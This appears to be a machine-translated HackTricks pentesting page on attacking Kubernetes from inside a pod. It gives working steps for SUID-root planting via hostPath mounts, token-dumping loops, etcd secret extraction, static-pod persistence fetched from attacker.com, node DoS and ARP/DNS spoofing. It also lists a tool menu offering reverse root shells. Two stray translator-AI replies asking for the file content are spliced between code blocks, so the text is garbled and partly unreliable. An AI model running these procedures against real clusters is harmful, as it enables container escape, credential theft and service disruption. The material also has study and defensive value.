# Attaccare Kubernetes dall'interno di un Pod {{#include ../../banners/hacktricks-training.md}} ## **Pod Breakout** **Se sei abbastanza fortunato potresti riuscire a uscire da esso e raggiungere il node:** ![](https://sickrov.github.io/media/Screenshot-161.jpg) ### Evadere dal pod Per provare a evadere dai pod potresti avere bisogno prima di **escalate privileges**, alcune tecniche per farlo: {{#ref}} https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html {{#endref}} Puoi consultare questi **docker breakouts to try to escape** da un pod che hai compromesso: {{#ref}} https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/index.html {{#endref}} ### Abuso di hostPath/bind mounts scrivibili (container -> host root via SUID planting) Se un pod/container compromesso ha un volume scrivibile che mappa direttamente il filesystem dell'host (Kubernetes hostPath o Docker bind mount), e puoi ottenere root all'interno del container, puoi sfruttare il mount per creare un binario setuid-root sull'host e poi eseguirlo dall'host per ottenere root. Condizioni chiave: - Il volume montato è scrivibile dall'interno del container (readOnly: false e permessi del filesystem permettono la scrittura). - Il filesystem dell'host che sta dietro al mount non è montato con l'opzione nosuid. - Hai un modo per eseguire il binario piantato sull'host (ad esempio, SSH/RCE separato sull'host, un utente sull'host può eseguirlo, o un altro vettore che esegue binari da quel percorso). Come identificare hostPath/bind mounts scrivibili: - Con kubectl, controlla i volumi hostPath: kubectl get pod -o jsonpath='{.spec.volumes[*].hostPath.path}' - Dall'interno del container, lista i mount, cerca host-path mounts e testa la scrivibilità: ```bash # Inside the compromised container mount | column -t cat /proc/self/mountinfo | grep -E 'host-path|kubernetes.io~host-path' || true findmnt -T / 2>/dev/null | sed -n '1,200p' # Test if a specific mount path is writable TEST_DIR=/var/www/html/some-mount # replace with your suspected mount path [ -d "$TEST_DIR" ] && [ -w "$TEST_DIR" ] && echo "writable: $TEST_DIR" # Quick practical test printf "ping\n" > "$TEST_DIR/.w" ``` Installare un setuid root binary dal container: ```bash # As root inside the container, copy a static shell (or /bin/bash) into the mounted path and set SUID/SGID MOUNT="/var/www/html/survey" # path inside the container that maps to a host directory cp /bin/bash "$MOUNT/suidbash" chmod 6777 "$MOUNT/suidbash" ls -l "$MOUNT/suidbash" # -rwsrwsrwx 1 root root 1234376 ... /var/www/html/survey/suidbash ``` Esegui sull'host per ottenere root: ```bash # On the host, locate the mapped path (e.g., from the Pod spec .spec.volumes[].hostPath.path or by prior enumeration) # Example host path: /opt/limesurvey/suidbash ls -l /opt/limesurvey/suidbash /opt/limesurvey/suidbash -p # -p preserves effective UID 0 in bash ``` Notes and troubleshooting: - If the host mount has nosuid, setuid bits will be ignored. Check mount options on the host (cat /proc/mounts | grep ) and look for nosuid. - Se non riesci a ottenere un host execution path, mount scrivibili simili possono essere abusati per scrivere altri artefatti di persistence/priv-esc sull'host se la directory mappata è security-critical (es. aggiungere una root SSH key se il mount mappa in /root/.ssh, drop una unit cron/systemd se mappa in /etc, sostituire un binary owned by root in PATH che l'host eseguirà, ecc.). La fattibilità dipende interamente dal path montato. - This technique also works with plain Docker bind mounts; in Kubernetes it’s typically a hostPath volume (readOnly: false) or an incorrectly scoped subPath. ### Abusing Kubernetes Privileges Come spiegato nella sezione su **kubernetes enumeration**: {{#ref}} kubernetes-enumeration.md {{#endref}} Di solito i pods vengono eseguiti con un **service account token** al loro interno. Questo service account potrebbe avere alcuni **privileges attached to it** che potresti **abuse** per **move** verso altri pods o addirittura per **escape** sui nodi configurati nel cluster. Scopri come in: {{#ref}} abusing-roles-clusterroles-in-kubernetes/ {{#endref}} ### Abusing Cloud Privileges Se il pod è eseguito all'interno di un **cloud environment** potresti essere in grado di l**eak a token from the metadata endpoint** e escalate privileges usando questo. ## Search vulnerable network services Poiché sei all'interno dell'ambiente Kubernetes, se non riesci a escalate privileges abusando dei privilegi correnti dei pods e non puoi escape dal container, dovresti **search potential vulnerable services.** ### Services **For this purpose, you can try to get all the services of the kubernetes environment:** ``` kubectl get svc --all-namespaces ``` Per impostazione predefinita, Kubernetes utilizza uno schema di rete piatto, il che significa **any pod/service within the cluster can talk to other**. Le **namespaces** all'interno del cluster **don't have any network security restrictions by default**. Chiunque nel namespace può parlare con altri namespaces. ### Scansione Lo script Bash che segue (tratto da un [Kubernetes workshop](https://github.com/calinah/learn-by-hacking-kccn/blob/master/k8s_cheatsheet.md)) installerà e eseguirà la scansione degli intervalli IP del cluster Kubernetes: ```bash sudo apt-get update sudo apt-get install nmap nmap-kube () { nmap --open -T4 -A -v -Pn -p 80,443,2379,8080,9090,9100,9093,4001,6782-6784,6443,8443,9099,10250,10255,10256 "${@}" } nmap-kube-discover () { local LOCAL_RANGE=$(ip a | awk '/eth0$/{print $2}' | sed 's,[0-9][0-9]*/.*,*,'); local SERVER_RANGES=" "; SERVER_RANGES+="10.0.0.1 "; SERVER_RANGES+="10.0.1.* "; SERVER_RANGES+="10.*.0-1.* "; nmap-kube ${SERVER_RANGES} "${LOCAL_RANGE}" } nmap-kube-discover ``` Check out the following page to learn how you could **attack Kubernetes specific services** to **compromise other pods/all the environment**: {{#ref}} pentesting-kubernetes-services/ {{#endref}} ### Sniffing Nel caso in cui il **compromised pod is running some sensitive service** dove altri pod devono autenticarsi, potresti essere in grado di ottenere le credenziali inviate dagli altri pod **sniffing local communications**. ## Network Spoofing Di default tecniche come **ARP spoofing** (e grazie a ciò **DNS Spoofing**) funzionano nella rete di kubernetes. Quindi, all'interno di un pod, se hai la **NET_RAW capability** (che è presente di default), sarai in grado di inviare pacchetti di rete personalizzati e svolgere **MitM attacks via ARP Spoofing to all the pods running in the same node.**\ Inoltre, se il **malicious pod** è in esecuzione nello **same node as the DNS Server**, potrai eseguire un **DNS Spoofing attack to all the pods in cluster**. {{#ref}} kubernetes-network-attacks.md {{#endref}} ## Node DoS Nei manifest di Kubernetes spesso non c'è una specifica delle risorse e **not applied limit** ranges per i container. Come attacker, possiamo **consume all the resources where the pod/deployment running** e privare altre risorse causando un DoS per l'ambiente. Questo può essere fatto con uno strumento come [**stress-ng**](https://zoomadmin.com/HowToInstall/UbuntuPackage/stress-ng): ``` stress-ng --vm 2 --vm-bytes 2G --timeout 30s ``` Puoi vedere la differenza tra quando `stress-ng` viene eseguito e dopo. ```bash kubectl --namespace big-monolith top pod hunger-check-deployment-xxxxxxxxxx-xxxxx ``` ## Node Post-Exploitation If you managed to **escape from the container** ci sono alcune cose interessanti che troverai nel nodo: - The **Container Runtime** process (Docker) - Altri **pods/containers** in esecuzione sul nodo che puoi abusare come questo (più token) - L'intero **filesystem** e il **sistema operativo** in generale - Il servizio **Kube-Proxy** in ascolto - Il servizio **Kubelet** in ascolto. Controlla i file di configurazione: - Directory: `/var/lib/kubelet/` - `/var/lib/kubelet/kubeconfig` - `/var/lib/kubelet/kubelet.conf` - `/var/lib/kubelet/config.yaml` - `/var/lib/kubelet/kubeadm-flags.env` - `/etc/kubernetes/kubelet-kubeconfig` - `/etc/kubernetes/admin.conf` --> `kubectl --kubeconfig /etc/kubernetes/admin.conf get all -n kube-system` - Altri **kubernetes common files**: - `$HOME/.kube/config` - **User Config** - `/etc/kubernetes/kubelet.conf`- **Regular Config** - `/etc/kubernetes/bootstrap-kubelet.conf` - **Bootstrap Config** - `/etc/kubernetes/manifests/etcd.yaml` - **etcd Configuration** - `/etc/kubernetes/pki` - **Kubernetes Key** ### Find node kubeconfig Se non riesci a trovare il file kubeconfig in uno dei percorsi sopra indicati, **controlla l'argomento `--kubeconfig` del processo kubelet**: ``` ps -ef | grep kubelet root 1406 1 9 11:55 ? 00:34:57 kubelet --cloud-provider=aws --cni-bin-dir=/opt/cni/bin --cni-conf-dir=/etc/cni/net.d --config=/etc/kubernetes/kubelet-conf.json --exit-on-lock-contention --kubeconfig=/etc/kubernetes/kubelet-kubeconfig --lock-file=/var/run/lock/kubelet.lock --network-plugin=cni --container-runtime docker --node-labels=node.kubernetes.io/role=k8sworker --volume-plugin-dir=/var/lib/kubelet/volumeplugin --node-ip 10.1.1.1 --hostname-override ip-1-1-1-1.eu-west-2.compute.internal ``` ### Rubare segreti ```bash # Check Kubelet privileges kubectl --kubeconfig /var/lib/kubelet/kubeconfig auth can-i create pod -n kube-system # Steal the tokens from the pods running in the node # The most interesting one is probably the one of kube-system ALREADY="IinItialVaaluE" for i in $(mount | sed -n '/secret/ s/^tmpfs on \(.*default.*\) type tmpfs.*$/\1\/namespace/p'); do TOKEN=$(cat $(echo $i | sed 's/.namespace$/\/token/')) if ! [ $(echo $TOKEN | grep -E $ALREADY) ]; then ALREADY="$ALREADY|$TOKEN" echo "Directory: $i" echo "Namespace: $(cat $i)" echo "" echo $TOKEN echo "================================================================================" echo "" fi done ``` Lo script [**can-they.sh**](https://github.com/BishopFox/badPods/blob/main/scripts/can-they.sh) otterrà automaticamente i tokens di altri pod e controllerà se hanno il permesso che stai cercando (invece di controllare uno per uno): ```bash ./can-they.sh -i "--list -n default" ./can-they.sh -i "list secrets -n kube-system"// Some code ``` ### Privileged DaemonSets A DaemonSet è un **pod** che verrà **eseguito** in **all the nodes of the cluster**. Pertanto, se un DaemonSet è configurato con un **privileged service account,** in **ALL the nodes** potrai trovare il **token** di quel **privileged service account** che potresti abusare. The exploit è lo stesso della sezione precedente, ma ora non dipendi dalla fortuna. ### Pivot to Cloud Se il cluster è gestito da un servizio cloud, di solito il **Node avrà un accesso diverso al metadata endpoint** rispetto al Pod. Quindi prova a **accedere al metadata endpoint dal node** (o da un pod con hostNetwork impostato su True): {{#ref}} kubernetes-pivoting-to-clouds.md {{#endref}} ### Steal etcd Se puoi specificare il [**nodeName**](https://kubernetes.io/docs/tasks/configure-pod-container/assign-pods-nodes/#create-a-pod-that-gets-scheduled-to-specific-node) del Node che eseguirà il container, ottieni una shell all'interno di un control-plane node e recupera il **etcd database**: ``` kubectl get nodes NAME STATUS ROLES AGE VERSION k8s-control-plane Ready master 93d v1.19.1 k8s-worker Ready 93d v1.19.1 ``` i nodi control-plane hanno il **ruolo master** e nei **cluster gestiti dal cloud non potrai eseguire nulla in essi**. #### Leggere i secrets da etcd 1 Se puoi eseguire il tuo pod su un nodo control-plane usando il selettore `nodeName` nella spec del pod, potresti avere un facile accesso al database `etcd`, che contiene tutta la configurazione del cluster, inclusi tutti i secrets. Di seguito un modo rapido e rozzo per recuperare i secrets da `etcd` se sta girando sul nodo control-plane su cui ti trovi. Se preferisci una soluzione più elegante che avvia un pod con l'utility client `etcdctl` e usa le credenziali del nodo control-plane per connettersi a etcd dovunque sia in esecuzione, guarda [this example manifest](https://github.com/mauilion/blackhat-2019/blob/master/etcd-attack/etcdclient.yaml) from @mauilion. **Controlla se `etcd` è in esecuzione sul nodo control-plane e verifica dove si trova il database (Questo è su un cluster creato con `kubeadm`)** ``` root@k8s-control-plane:/var/lib/etcd/member/wal# ps -ef | grep etcd | sed s/\-\-/\\n/g | grep data-dir ``` I don't have the file content. Please paste the markdown content of src/pentesting-cloud/kubernetes-security/attacking-kubernetes-from-inside-a-pod.md that you want translated to Italian. ```bash data-dir=/var/lib/etcd ``` **Visualizzare i dati nel database etcd:** ```bash strings /var/lib/etcd/member/snap/db | less ``` **Estrai i tokens dal database e mostra il service account name** ```bash db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done ``` **Stesso comando, ma con alcuni greps per restituire solo il token di default nel namespace kube-system** ```bash db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done | grep kube-system | grep default ``` Non hai fornito il contenuto da tradurre. Per favore incolla il testo di src/pentesting-cloud/kubernetes-security/attacking-kubernetes-from-inside-a-pod.md. ``` 1/registry/secrets/kube-system/default-token-d82kb | eyJhbGciOiJSUzI1NiIsImtpZCI6IkplRTc0X2ZP[REDACTED] ``` #### Leggere i segreti da etcd 2 [from here](https://www.linkedin.com/posts/grahamhelton_want-to-hack-kubernetes-here-is-a-cheatsheet-activity-7241139106708164608-hLAC/?utm_source=share&utm_medium=member_android) 1. Crea uno snapshot del **`etcd`** database. Vedi [**this script**](https://gist.github.com/grahamhelton/0740e1fc168f241d1286744a61a1e160) per ulteriori informazioni. 2. Trasferisci lo snapshot **`etcd`** fuori dal nodo nel modo che preferisci. 3. Estrai il database: ```bash mkdir -p restore ; etcdutl snapshot restore etcd-loot-backup.db \ --data-dir ./restore ``` 4. Avvia **`etcd`** sulla tua macchina locale e fai in modo che utilizzi lo snapshot rubato: ```bash etcd \ --data-dir=./restore \ --initial-cluster=state=existing \ --snapshot='./etcd-loot-backup.db' ``` 5. Elenca tutti i secrets: ```bash etcdctl get "" --prefix --keys-only | grep secret ``` 6. Recupera i Secret: ```bash etcdctl get /registry/secrets/default/my-secret ``` ### Persistenza dei Static/Mirrored Pods _Static Pods_ sono gestiti direttamente dal demone kubelet su un nodo specifico, senza che l'API server li osservi. A differenza dei Pod gestiti dal control plane (per esempio, una Deployment); il **kubelet watches each static Pod** (e lo riavvia se fallisce). Pertanto, gli static Pods sono sempre **bound to one Kubelet** su un nodo specifico. Il **kubelet automatically tries to create a mirror Pod on the Kubernetes API server** per ogni static Pod. Questo significa che i Pod in esecuzione su un nodo sono visibili sull'API server, ma non possono essere controllati da lì. I nomi dei Pod saranno suffissati con l'hostname del nodo preceduto da un trattino. > [!CAUTION] > The **`spec` of a static Pod cannot refer to other API objects** (e.g., ServiceAccount, ConfigMap, Secret, etc. Quindi **you cannot abuse this behaviour to launch a pod with an arbitrary serviceAccount** sul nodo corrente per compromettere il cluster. Ma puoi usare questo per eseguire pod in namespace diversi (nel caso sia utile per qualche motivo). Se sei all'interno dell'host del nodo puoi far sì che crei un **static pod inside itself**. Questo è molto utile perché potrebbe permetterti di **create a pod in a different namespace** come **kube-system**. Per creare uno static pod, i [**docs are a great help**](https://kubernetes.io/docs/tasks/configure-pod-container/static-pod/). Fondamentalmente hai bisogno di 2 cose: - Configurare il parametro **`--pod-manifest-path=/etc/kubernetes/manifests`** nel **kubelet service**, o nella **kubelet config** ([**staticPodPath**](https://kubernetes.io/docs/reference/config-api/kubelet-config.v1beta1/index.html#kubelet-config-k8s-io-v1beta1-KubeletConfiguration)) e riavviare il servizio - Creare la definizione nella **pod definition** in **`/etc/kubernetes/manifests`** **Un altro modo più stealth sarebbe:** - Modificare il parametro **`staticPodURL`** dal file di configurazione del **kubelet** e impostare qualcosa come `staticPodURL: http://attacker.com:8765/pod.yaml`. Questo farà sì che il processo kubelet crei un **static pod** ottenendo la **configuration from the indicated URL**. **Example** of **pod** configuration to create a privilege pod in **kube-system** taken from [**here**](https://research.nccgroup.com/2020/02/12/command-and-kubectl-talk-follow-up/): ```yaml apiVersion: v1 kind: Pod metadata: name: bad-priv2 namespace: kube-system spec: containers: - name: bad hostPID: true image: gcr.io/shmoocon-talk-hacking/brick stdin: true tty: true imagePullPolicy: IfNotPresent volumeMounts: - mountPath: /chroot name: host securityContext: privileged: true volumes: - name: host hostPath: path: / type: Directory ``` ### Eliminare pods + unschedulable nodes Se un attaccante ha **compromesso un node** e può **delete pods** da altri node e **rendere altri node incapaci di eseguire pods**, i pods verranno rilanciati nel node compromesso e potrà **rubare i tokens** presenti in essi.\ Per [**maggiori informazioni segui questo link**](abusing-roles-clusterroles-in-kubernetes/index.html#delete-pods-+-unschedulable-nodes). ## Strumenti automatici - [**https://github.com/inguardians/peirates**](https://github.com/inguardians/peirates) ``` Peirates v1.1.8-beta by InGuardians https://www.inguardians.com/peirates ---------------------------------------------------------------- [+] Service Account Loaded: Pod ns::dashboard-56755cd6c9-n8zt9 [+] Certificate Authority Certificate: true [+] Kubernetes API Server: https://10.116.0.1:443 [+] Current hostname/pod name: dashboard-56755cd6c9-n8zt9 [+] Current namespace: prd ---------------------------------------------------------------- Namespaces, Service Accounts and Roles | ---------------------------------------+ [1] List, maintain, or switch service account contexts [sa-menu] (try: listsa *, switchsa) [2] List and/or change namespaces [ns-menu] (try: listns, switchns) [3] Get list of pods in current namespace [list-pods] [4] Get complete info on all pods (json) [dump-pod-info] [5] Check all pods for volume mounts [find-volume-mounts] [6] Enter AWS IAM credentials manually [enter-aws-credentials] [7] Attempt to Assume a Different AWS Role [aws-assume-role] [8] Deactivate assumed AWS role [aws-empty-assumed-role] [9] Switch authentication contexts: certificate-based authentication (kubelet, kubeproxy, manually-entered) [cert-menu] -------------------------+ Steal Service Accounts | -------------------------+ [10] List secrets in this namespace from API server [list-secrets] [11] Get a service account token from a secret [secret-to-sa] [12] Request IAM credentials from AWS Metadata API [get-aws-token] * [13] Request IAM credentials from GCP Metadata API [get-gcp-token] * [14] Request kube-env from GCP Metadata API [attack-kube-env-gcp] [15] Pull Kubernetes service account tokens from kops' GCS bucket (Google Cloudonly) [attack-kops-gcs-1] * [16] Pull Kubernetes service account tokens from kops' S3 bucket (AWS only) [attack-kops-aws-1] --------------------------------+ Interrogate/Abuse Cloud API's | --------------------------------+ [17] List AWS S3 Buckets accessible (Make sure to get credentials via get-aws-token or enter manually) [aws-s3-ls] [18] List contents of an AWS S3 Bucket (Make sure to get credentials via get-aws-token or enter manually) [aws-s3-ls-objects] -----------+ Compromise | -----------+ [20] Gain a reverse rootshell on a node by launching a hostPath-mounting pod [attack-pod-hostpath-mount] [21] Run command in one or all pods in this namespace via the API Server [exec-via-api] [22] Run a token-dumping command in all pods via Kubelets (authorization permitting) [exec-via-kubelet] -------------+ Node Attacks | -------------+ [30] Steal secrets from the node filesystem [nodefs-steal-secrets] -----------------+ Off-Menu + -----------------+ [90] Run a kubectl command using the current authorization context [kubectl [arguments]] [] Run a kubectl command using EVERY authorization context until one works [kubectl-try-all [arguments]] [91] Make an HTTP request (GET or POST) to a user-specified URL [curl] [92] Deactivate "auth can-i" checking before attempting actions [set-auth-can-i] [93] Run a simple all-ports TCP port scan against an IP address [tcpscan] [94] Enumerate services via DNS [enumerate-dns] * [] Run a shell command [shell ] [exit] Exit Peirates ``` - [**https://github.com/r0binak/MTKPI**](https://github.com/r0binak/MTKPI) ## Riferimenti - [Forgotten (HTB) - Writable bind mount SUID planting](https://0xdf.gitlab.io/2025/09/16/htb-forgotten.html) - [Kubernetes hostPath volume](https://kubernetes.io/docs/concepts/storage/volumes/#hostpath) - [Docker bind mounts](https://docs.docker.com/storage/bind-mounts/) - [Bash -p (preserve privileges)](https://www.gnu.org/software/bash/manual/bash.html#Invoking-Bash) - [mount(8) nosuid option](https://man7.org/linux/man-pages/man8/mount.8.html) - [Peirates (Kubernetes attack tool)](https://github.com/inguardians/peirates) {{#include ../../banners/hacktricks-training.md}}